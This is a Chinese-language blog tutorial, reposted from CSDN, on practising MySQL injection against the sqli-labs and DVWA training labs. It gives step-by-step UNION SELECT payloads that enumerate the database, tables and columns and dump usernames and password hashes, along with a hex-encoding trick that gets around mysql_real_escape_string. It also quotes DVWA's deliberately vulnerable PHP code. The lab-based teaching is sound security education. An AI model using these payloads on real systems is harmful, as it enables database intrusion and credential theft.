mysql注入基础练习

以sqli-labs-master作为练习

初始:简单获取基础内容
第一步,使用拼接的方式决定注入类型
在这里插入图片描述
第二步,使用order by确定有表单有几列值
order by根据指定的列对结果集进行排序
在这里插入图片描述在这里插入图片描述

第三步,使用union select 来找到内容,获取想要得到内容
union select :联合查询
在这里插入图片描述
进阶,通过mysql注入获取表单内容,拖库;
第一步:通过数据库语句进行搜索,首先确定数据库
在这里插入图片描述
第二步:确定数据库后,爆出它的表;
在这里插入图片描述
第三步:确定表以后,可根据实际需求爆表,这里以users举例,进行爆字段
在这里插入图片描述
第四步:确定字段后,我们就可以拖库;
在这里插入图片描述

DVWA训练基础 low级别
1.参照上文确定当前库

1' union select (select database()),2 -- -

在这里插入图片描述

2.确定库后,爆表

1' union select (select group_concat(table_name) from information_schema.tables where table_schema = 'dvwa'),2 -- -

在这里插入图片描述
3.确定表后,爆字段

1' union select (select group_concat(column_name) from information_schema.columns where table_schema = 'dvwa' and table_name='users'),2 -- -

在这里插入图片描述

4.确定字段后,进行拖库

1' union select (select group_concat(concat_ws(0x7e,user,password))from users),2 -- -

在这里插入图片描述DVWA训练基础 Medium级别
1.这个级别我们可以看出,这是通过一个下拉表的方式提交数据的
在这里插入图片描述2.提交一个数据后发现URL:http://localhost/DVWA-1.9/vulnerabilities/sqli/#,所以不是get型注入,应该是把提交的数据存放到post数据中了,用hackbar试一下
在这里插入图片描述3.添加注入语句,添加post数据如下:

在这里插入图片描述4.使用burp suite,执行“爆表”代码时却报错了;

id=3  union select1,table_name from information_schema.tables wheretable_name='dvwa'#&Submit=Submit

在这里插入图片描述5.Low版本的就可以注入,中等的就不可以注入了,这是为什么呢?打开源码看一下:
Medium SQL Injection Source

<?php
if( isset( $_POST[ 'Submit' ] ) ) {
   // Get input
   $id = $_POST[ 'id' ];
    $id = mysql_real_escape_string($id );
   // Check database
   $query  = "SELECT first_name,last_name FROM users WHERE user_id = $id;";
   $result = mysql_query( $query ) or die( '<pre>' . mysql_error() .'</pre>' );
   // Get results
   $num = mysql_numrows( $result );
   $i   = 0;
   while( $i < $num ) {
       // Display values
       $first = mysql_result( $result, $i, "first_name" );
       $last  = mysql_result( $result,$i, "last_name" );
       // Feedback for end user
       echo "<pre>ID: {$id}<br />First name: {$first}<br/>Surname: {$last}</pre>";
        // Increase loop count
       $i++;
    }
   //mysql_close();
}
?>

发现有这样的一句话:

$id = mysql_real_escape_string($id );

这句话是干什么用的呢?百度了一下知道
mysql_real_escape_string函数是实现转义 SQL 语句字符串中的特殊字符,如输入单引号’则处理时会在其前面加上右斜杠\来进行转义,如果语句错误则输出相应的错误信息。其中受影响的字符如下:
\x00 \n \r \ ’ " \x1a
换注入方式 只要不用 ’ 就行

6.使用下面代码进行注入;

id=-0 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273) &Submit=Submit

在这里插入图片描述

发布了42 篇原创文章 · 获赞 67 · 访问量 5220

猜你喜欢

转载自blog.csdn.net/weixin_42299610/article/details/103866900